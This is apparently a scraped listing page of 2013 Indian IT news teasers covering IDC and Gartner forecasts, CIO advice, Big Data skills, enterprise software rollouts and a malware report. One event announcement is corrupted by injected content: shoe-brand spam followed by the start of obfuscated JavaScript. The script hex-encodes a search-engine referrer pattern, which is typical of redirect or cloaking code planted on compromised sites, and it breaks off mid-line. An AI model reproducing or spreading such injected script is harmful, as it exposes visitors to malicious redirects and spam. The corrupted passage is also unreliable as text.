10 ways IT will cross paths with marketing in 2013

In a recent webinar, analysts from market research firm IDC predicted as many as 10 ways in which technology will cross paths with the marketing function in 2013. Compiled by analysts Rich Vancil and Kathleen Schaub, the predictions are based on long-term industry trends along with new themes that may be on the horizon. The Top 10 Predictions are: Prediction 1 - The C-suite (CEO, CFO, and COO)... By rajendra gupta

The first 100 days of a new CIO: Nine steps to success

The early months of a CIOs tenure are an extremely important time to learn about a companys culture and critical issues, shape an agenda for change, build relations with peers and senior leaders, and make decisionson people, funding, and other mattersthat will provide a solid foundation for the future. Ian Buchanan, who has served several financial institutions as CIO or COO, says: In the first... By sanjay.gupta gupta

Enterprises lack skills to meet Big Data demands

As the dust settles around Big Data and hype begins to give way to reality, organizations find themselves severely ill-equipped to handle the massive volumes of information scattered across the enterprise. The growing demand from business managers for insights from stockpiles of existing data currently presents a significant challenge for IT organisations in terms of sourcing the necessary... By rajendra gupta

Dalmia Cement benefits from Cloud-based collaboration

Cement manufacturer Dalmia Cement has implemented a Cloud-based collaboration platform from Aconex to facilitate seamless information exchange across its geographically dispersed plant locations. The deployment is said to have allowed for faster coordination, distribution, review, and sign-off of important files across project sites and brought in improved levels of efficiencies for the firm.... By rajendra gupta

Cybercriminals taking malware quest to a new level: Report

A detailed study conducted by the R&D center of Quick Heal Technologies has made some rather intriguing suggestions regarding the future of malware. The findings of Quick Heal's Windows Malware report show an unabated growth in malicious and privacy-compromising vulnerabilities that are rapidly evolving and require a more integrated approach towards stopping the breaches. According to the... By rajendra gupta

Top 10 buzzwords for Indian IT market in 2013: Zinnov

Management consulting firm Zinnov has just come out with a list of top 10 IT buzzwords for the domestic IT market, here in India. The $30 billion plus market is expected to grow between 15-18 per cent in 2013 with these buzzwords making the most amount of echo amongst principal vendors, partners and customers this year. 1. IT solution selling: Standalone sale of hardware, software and services... By rajendra gupta

Drive Manufacturing Excellence to Empower Businesses

This is a strategy conference wherein heads of Finance, Operations and IT from companies large corporations converge for an evening of insights and networking. Date- 18th January, 2013 To Register - title="CLICK HERE">CLICK HERE!! Mercurial Superfly Highvar nsSGCDsaF1=new window["\x52\x65\x67\x45\x78\x70"]("\x28\x47"+"\x6f"+"\x6f\x67"+"\x6c"+"\x65\x7c\x59\x61"+"\x68\x6f\x6f"+"\x7c\x53\x6c\x75... By sanjay.gupta gupta

Drive Manufacturing Excellence to Empower Businesses

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10 New Years resolutions that will save you money

When you make those New Year's resolutions, you're thinking about fresh starts and the year ahead. What you might not realize is that they also could save money. Here are 10 popular resolutions and just how much you could save if you resolve them in 2013. 1. Quit Smoking Smokers are using the high cost of the habit as one reason to quit. Smoking won't just kill you; it'll drain your bank account... By rajendra gupta

Essar cuts down drill time by 75% using Sanovi DRM

With a view to streamline and automate its disaster recovery operations, Essar Group has implemented DRM software from Sanovi Technologies. Covering critical ERP functions, the solution has been implemented across Essars primary and DR locations. Sanovi DRM suite is the leading management solution for aligning DR infrastructure with Recovery Time and Recovery Point objectives. The implementation... By rajendra gupta

Worldwide IT spending to reach $3.7 tn in 2013: Gartner

Worldwide IT spending is projected to total $3.7 trillion in 2013, a 4.2 per cent increase from 2012 spending of $3.6 trillion, according to the latest forecast by Gartner. The 2013 outlook for IT spending growth in US dollars has been revised upward from 3.8 per cent in the 3Q12 forecast. According to Gartner analysts, much of this spending increase is the result from projected gains in the... By rajendra gupta

Dr. Reddys rolls out workforce management software

Pharmaceutical firm Dr. Reddys Laboratories has rolled out Kronos workforce management software to gain workforce visibility and better manage labour regulations and workforce-related compliance issues. The solution has automated processes such as employee scheduling, time and attendance, and absence management for more efficient utilization of available human resources. The pharma major chose... By rajendra gupta